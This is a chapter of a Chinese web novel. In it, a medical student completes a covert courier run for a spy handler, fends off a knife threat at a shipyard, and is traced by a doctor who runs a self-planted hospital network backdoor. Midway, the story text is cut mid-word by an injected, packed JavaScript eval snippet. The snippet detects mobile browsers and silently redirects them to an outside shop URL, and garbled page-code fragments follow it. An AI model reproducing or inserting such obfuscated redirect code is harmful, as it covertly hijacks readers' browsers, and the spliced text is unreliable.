20. 徐燕风的抉择
作品:《学生闹翻天3》 她顿了顿,看着徐燕风:“但最重要的是你不会被抓。我教过你观察、警觉、应变。只要你不犯低级错误,这个任务的风险几乎为零。”
几乎为零。
徐燕风在心里重复这个词。几乎,意味着不是绝对。意味着还是有风险。
但他没有说出口。
“摩托车在实验楼后门。”钟妍妍递给他一把钥匙,“川崎Ninja 400,你的车。已经检查过,没有追踪器,油箱加满了。路线已经规划好——”她又递过来一张手绘地图,“走小路避开主要路口和摄像头。全程28公里,预计45分钟到达。到达后,确认对方身份暗号:‘老吴问,船修好了吗?’你回答:‘修好了但需要新零件。’对方会说:‘什么零件?’你回答:‘304不锈钢轴承。’暗号全对,才交货。”
徐燕风接过地图。画得很详细,连哪个路口有临时检查站都标出来了。
“拿到回盒后,立刻返回,不要停留,不要和任何人交谈。”钟妍妍继续说,“回到这里把盒子给我。任务完成。”
她看着徐燕风:“这是你的第一个实战任务。完成了,你就正式成为‘可用之人’。会有报酬——不多,但足够你付清下学期的学费。也会有更多任务,更复杂,报酬更高。当然,风险也更高。”
“如果我不做呢?”徐燕风问。
“那就现在把盒子还给我,走出这扇门,我们不再见面。”钟妍妍说,“你会回到原来的生活,当你的医学生,毕业,成为医生。我会删掉所有关于你的记录,就当这一个月什么都没发生过。”
她顿了顿:“但你要知道,一旦你走出这扇门,就再也没有机会回来了。这个世界不会给你第二次选择的机会。”
徐燕风低头看着手里的盒子,又看看地图。福尔马林的气味刺鼻,周围的尸体在冰柜里沉默,应急灯的光把他的影子拉得很长,在墙上扭曲变形。
他想起这一个月学的一切:情绪控制、压力测试、反审讯、行为分析、观察追踪……
那些技巧,如果不用,就只是知识。
但如果用,就会成为他的一部分。
像毒蛇的牙,一旦长出,就再也收不回去。
他想起关文晶的话:“她在培养你成为她的工具。”
想起钟妍妍的坦白:“在这个国度没有真正的‘干净’。”
想起自己当初为什么要接受训练——不只是因为想变强,更是因为厌倦了平庸,厌倦了被规则束缚,厌倦了做一个只能冲油漆报复的弱者。
他想成为能掌控自己命运的人。
哪怕,那条路是黑暗的。
“我做。”他说,声音在尸库里显得格外清晰。
钟妍妍点点头,没有表现出高兴或欣慰只是平静地说:“记住,安全第一。遇到任何意外,优先自保。盒子可以丢,数据可以毁,但人必须回来。”
她从口袋里掏出一个微型耳机,递给徐燕风:“戴上。我会通过这个和你保持联系,但除非紧急情况,我不会说话。耳机有定位,如果我这里显示你偏离路线或停留过久,我会提醒你。”
徐燕风戴上耳机,很轻,几乎感觉不到存在。
“还有这个。”钟妍妍又递给他一个小巧的黑色装置,像打火机,“紧急信号发射器。如果遇到无法脱身的危险,按下按钮,我会知道。但除非生死关头,不要用——用了就意味着任务失败,而且会暴露我。”
徐燕风把发射器塞进裤子口袋。
“最后,”钟妍妍看着他,“记住你学的一切。观察环境,预判风险,控制情绪,快速决策。你不是去送快递的,你是去执行任务。每一个细节都可能决定成败。”
“明白。”徐燕风说。
钟妍妍退后一步让出通往门口的路:“去吧。八点整出发。”
徐燕风转身,走出尸库。金属门在身后关上隔绝了福尔马林的气味和那些沉默的尸体。
走廊里依然昏暗,应急灯投下惨白的光。他快步走向出口,脚步声在空旷中回响,像另一个人的心跳。
实验楼后门,他的川崎Ninja 400停在那里,黑色的车身在夜色中几乎隐形。他跨上车发动引擎,低沉的轰鸣声在寂静中显得格外突兀。
八点整。
他看了一眼手绘地图,第一条路线已经印在脑子里。然后他拧动油门,摩托车冲进夜色。
雨开始下了,细密的雨丝打在脸上,冰凉。
徐燕风拉上卫衣帽子,压低身体,加速驶出校园。后视镜里,实验楼B栋的轮廓越来越小,最后消失在雨幕中。
耳机里传来轻微的电流声,然后是一句几乎听不见的话:
【路线正确。保持速度。——V】
徐燕风没有回应,只是握紧车把。
雨越下越大,街道上的灯光在水洼里倒映成破碎的光斑。他按照地图的指示,拐进一条小巷,避开主干道。小巷很窄,两侧是低矮的民居,窗户透出昏黄的灯光,偶尔有电视的声音。
他骑得很快,但很稳。眼睛像雷达一样扫视前方:路口有没有车?阴影里有没有人?路灯下有没有异常?
钟妍妍教过的:观察不是只看前方,而是要看全景。用余光扫视两侧,用耳朵听引擎声以外的声音,用皮肤感受空气的流动和温度的变化。
经过一个十字路口时,他减速,看到右侧有一辆警车停在路边,警灯没亮,但引擎还开着。车里有两个人影,一个在抽烟,一个在看手机。
徐燕风没有停顿,也没有加速,保持匀速通过。经过警车时,他甚至朝车里看了一眼——不是挑衅,而是自然的观察。警察也看了他一眼,但很快就移开了视线。
一个骑摩托车的年轻人,在雨夜赶路,太常见了。
【警车,记录。——V】
耳机里传来声音。徐燕风用右手在左臂上轻轻敲击了两下——这是约定的确认信号。
继续前进。
港口区在城市的东南角,靠近码头。这里街道更窄,灯光更暗,空气中弥漫着鱼腥味和柴油味。老陈修船厂的招牌歪斜地挂在一个生锈的铁门上,招牌上的霓虹灯坏了一半,“修”字只剩下一半的光。
徐燕风在距离修船厂两百米的地方停下,把摩托车藏在一堆废弃的轮胎后面。然后他步行接近。
雨小了些,但风更大了,吹得铁门吱呀作响。他从侧面的围墙翻进去——钟妍妍在地图上标注了这里有个缺口。
修船厂里堆满了生锈的船体零件、废弃的发动机、成堆的渔网。第三号仓库在院子最深处,是一间铁皮棚屋,门缝里透出微弱的灯光。
徐燕风走到门口,深呼吸三次,让心跳平复下来。然后他敲门。
三下,停顿,两下。
门开了一条缝,一个满脸络腮胡的中年男人露出半张脸,眼睛在阴影里闪着警惕的光。
“老吴问,船修好了吗?”徐燕风说,声音平稳。
男人盯着他看了几秒,才开口,声音沙哑:“修好了,但需要新零件。”
“什么零件?”
“304不锈钢轴承。”
暗号全对。
男人把门完全打开:“进来。”
仓库里很杂乱,堆着各种机械零件,中央有一张破旧的木桌,桌上放着一台老式电脑,屏幕亮着。除了老吴,还有两个人——一个坐在电脑前,很年轻,戴着眼镜;另一个站在阴影里,看不清脸。
“东西呢?”老吴问。
徐燕风拿出金属盒,放在桌上。
老吴拿起盒子,检查了一下,然后递给戴眼镜的年轻人。年轻人连接电脑,开始操作。几分钟后,他点头:“数据完整,加密正确。”
老吴从桌下拿出另一个一模一样的金属盒,递给徐燕风:“这是回件。拿好,别丢了。”
徐燕风接过,放进口袋。
“你可以走了。”老吴说,“从后门出去别走原路。”
徐燕风点头,转身要走,忽然被叫住。
“等等。”是那个站在阴影里的人。他走出来,是个瘦高的男人,约莫四十岁,穿着皮夹克,脸上有一道疤,从左眼角划到嘴角。
他走到徐燕风面前。上下打量他:“生面孔。谁派你来的?”
“这不关你的事。”徐燕风说,保持平静。
“不关我的事?”疤脸男人冷笑,“上次交易,东西被调包损失了五万美金。你说我该不该怀疑新人?”
徐燕风感觉到危险。他快速扫视环境:老吴站在桌子旁,手垂在身侧,但没有武器;戴眼镜的年轻人还在看电脑;疤脸男人离他最近,左手插在口袋里——那里鼓出一块,可能是刀或枪。
“我只是送东西的。”徐燕风说,“不负责验货。如果上次有问题,你应该找上线。”
“上线?”疤脸男人逼近一步,“我怎么知道你不是卧底?警察?或者竞争对手派来的?”
气氛骤然紧张。
徐燕风的手慢慢移向口袋——不是放盒子的口袋,而是放紧急信号发射器的口袋。但他没有按下去,而是停在口袋里,握住那个小装置。
“老吴,”疤脸男人转头,“搜他身。”
老吴犹豫了一下,还是走过来。徐燕风后退一步:“不行。交货规矩,不搜身。”
“规矩?”疤脸男人笑了,“在这里,我就是规矩。”
他伸手抓向徐燕风的衣领。
徐燕风没有躲,而是迎上去,同时右手从口袋里抽出——但不是发射器,而是那支圆珠笔。笔尖对准疤脸男人伸来的手,狠狠扎下去。
不是真扎,是虚晃。疤脸男人本能地缩手,徐燕风趁机侧身,一脚踢向他的膝盖侧面——不是全力,但足够让他失衡。
疤脸男人踉跄后退,撞在桌子上,电脑屏幕晃了晃。
“操!”他怒吼,从口袋里掏出一把折叠刀,弹出刀刃。但徐燕风已经退到门口,手放在门把上:“任务完成,我要走了。如果你们想闹大,尽管来。”
他看着疤脸男人,又看看老吴:“但提醒你们,我如果十分钟内不离开这里,或者发出紧急信号,上线就会知道交易出问题。到时候,损失的就不只是五万美金了。”
老吴的脸色变了:“疤子,放下刀!让他走!”
疤脸男人咬牙切齿,但最终收起了刀。
徐燕斯拉开门,退出去,然后快步走向围墙缺口。他没有跑,但脚步很快,耳朵竖起来听身后的动静——没有人追来。
翻出围
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937038|192889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墙,找到摩托车,发动,驶离修船厂。
直到开出港口区上了主干道,他才感觉到后背已经被冷汗湿透。
耳机里传来钟妍妍的声音:
【偏离路线三分钟,发生什么了?——V】
“小麻烦,解决了。”徐燕风说,声音有些发颤,但尽量保持平稳。
【安全第一。继续返回。——V】
九点四十分,徐燕风回到实验楼B栋地下室。
钟妍妍还在尸库里,应急灯依然亮着。她接过回盒,检查了一下,点头:“任务完成。做得不错。”
徐燕风摘下耳机,还给她,然后从口袋里掏出那个金属盒和紧急发射器。
钟妍妍收起所有东西,从另一个口袋里拿出一叠现金,递给徐燕风:“报酬。五千瑆元,够你下学期的学费了。”
徐燕风接过钱,没有数,直接塞进口袋。
“今天那个疤脸男人,”他忽然说,“是谁?”
钟妍妍看了他一眼:“买家那边的人,负责‘安保’。性子急,疑心重但不是大问题。你处理得很好——既没退让,也没激化冲突。”
“如果当时他真要动手呢?”
“那你就会用发射器,我会在五分钟内赶到。”钟妍妍说,“但你没用,说明你判断自己能处理。这是对的。依赖后援,会养成习惯。真正的生存,靠的是自己。”
徐燕风点点头,没有说话。
他感觉身体里的肾上腺素在慢慢消退,取而代之的是一种奇怪的虚脱感,混合着兴奋和恐惧。刚才在修船厂,他真的以为自己可能会死——或者至少会受伤。
但他活下来了。
而且完成了任务。
“回去休息吧。”钟妍妍说,“明天照常读书,不要表现出任何异常。这只是一次普通的‘兼职送货’,记住这个设定。”
徐燕风转身离开。走到门口时,他回头问:“下次任务是什么时候?”
钟妍妍笑了——这次是真的笑,带着一丝欣慰。
“等通知。”她说,“但不会太久。你通过了第一关,现在,正式欢迎你加入游戏。”
徐燕风走出尸库,走进雨夜。
回宿舍的路上,雨停了,云层散开,露出几颗星星。
他摸了摸口袋里的五千瑆元,纸币的质感很真实。
也很虚幻。
一个月前,他还是个会因为被训斥就去泼油漆的医学生。
现在,他是个完成了第一次情报传递、面对持刀威胁没有退缩、口袋里装着“黑钱”的……什么?
他不知道。
但他知道,从今晚开始,他不再是旁观者。
他是玩家。
蛇窝游戏,正式开局。
而他,徐燕风,代号尚未确定,已经拿到了入场券。
他看着夜空,深深吸了一口气。
空气里有雨后泥土的味道,也有远方海洋的咸腥。
像这个城市。
表面清新。
内里咸腥。
而他,已经潜入了咸腥的那一面。
并且,不打算回头了。
凌晨一点二十三分,关文晶坐在儿科值班室的电脑前,屏幕上不是病历系统,而是一个自定义的数据监控界面。
这个界面是她自己编写的,接入了医院内部网络的底层数据流——不是通过正规权限而是通过一个三年前植入的后门程序。程序会抓取所有异常数据包:非标准协议的传输、加密流量、访问时间异常、源IP和目的IP不匹配的记录等等。
过去一周,这个程序抓到了三十七个异常事件。大多数是误报:实习生用U盘拷贝论文、药房系统夜间自动备份、行政部上传季度报表时使用了老旧加密协议……
但今晚这个不一样。
【时间戳:周二20:15:37
源IP:医学院实验楼B栋·地下室尸库区域(该区域理论上无网络接入)
目的IP:港口区某动态IP(已标记:疑似地下交易节点)
协议:非标准加密协议(代号‘#-7’,军方二级通讯专用)
数据包大小:2.7MB
传输时长:18秒
备注:传输期间伴随GPS定位数据同步上传(设备ID:V-09)】
关文晶盯着这行记录,手指在桌面上轻轻敲击。
医学院实验楼B栋地下室尸库——那是早已废弃的区域,连电源都切断了,怎么可能有网络传输?除非有人带了移动热点或卫星通讯设备。
而传输协议“#-7”,她见过。三年前政保局调查一起泄密案时,联络人用的就是这个协议。当时那人说:“这个协议只有瑆洲军区能使用用,民用网络根本检测不到。”
但现在,它出现在了医院的监控里。
还有那个设备ID:V-09。V,尖吻蝮(Viper)的首字母。09,是序号?
关文晶调出过去一个月的所有异常记录,筛选出使用“#-7”协议的事件。一共三起:
第一次:四周前,周三下午,顶楼会议室区域。传输时长3分12秒,数据包大小15MB。对应时间——钟妍妍给徐燕风上第一堂课的时间。

